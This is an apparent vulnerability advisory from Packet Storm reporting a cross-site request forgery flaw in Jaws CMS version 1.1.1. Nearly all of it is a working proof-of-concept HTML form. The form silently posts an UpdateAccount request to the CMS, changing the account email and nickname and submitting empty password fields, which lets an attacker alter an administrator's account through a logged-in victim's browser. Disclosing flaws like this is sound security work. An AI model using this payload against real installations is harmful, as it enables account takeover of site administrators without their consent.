Jaws version 1.1.1 suffers from a cross site request forgery vulnerability.
e093ed379e0e16ef507961ff061e3d79edcba81e51a8b614e6a85e974c81eada# Affected software: Jaws cms
# Type of vulnerability:csrf
# URL:http://www.opensourcecms.com/scripts/details.php?scriptid=38&name=Jaws
# Discovered by: provensec
# Website: provensec.com
#version: Jaws 1.1.1
# Proof of concept
<html>
<body>
<form action="http://demo.jaws-project.com/index.php" method="POST">
<input type="hidden" name="gadget" value="Users" />
<input type="hidden" name="action" value="UpdateAccount" />
<input type="hidden" name="email" value="admin@example.org" />
<input type="hidden" name="nickname" value="Jaws Administrator" />
<input type="hidden" name="password" value="" />
<input type="hidden" name="password_check" value="" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
Jaws
<http://www.opensourcecms.com/scripts/details.php?scriptid=38&name=Jaws>
© 2022 Packet Storm. All rights reserved.
%7Cutmcsr%3D(direct)%7Cutmcmd%3D(none)){kind=small}
Follow us on Twitter
Follow us on Facebook
Subscribe to an RSS Feed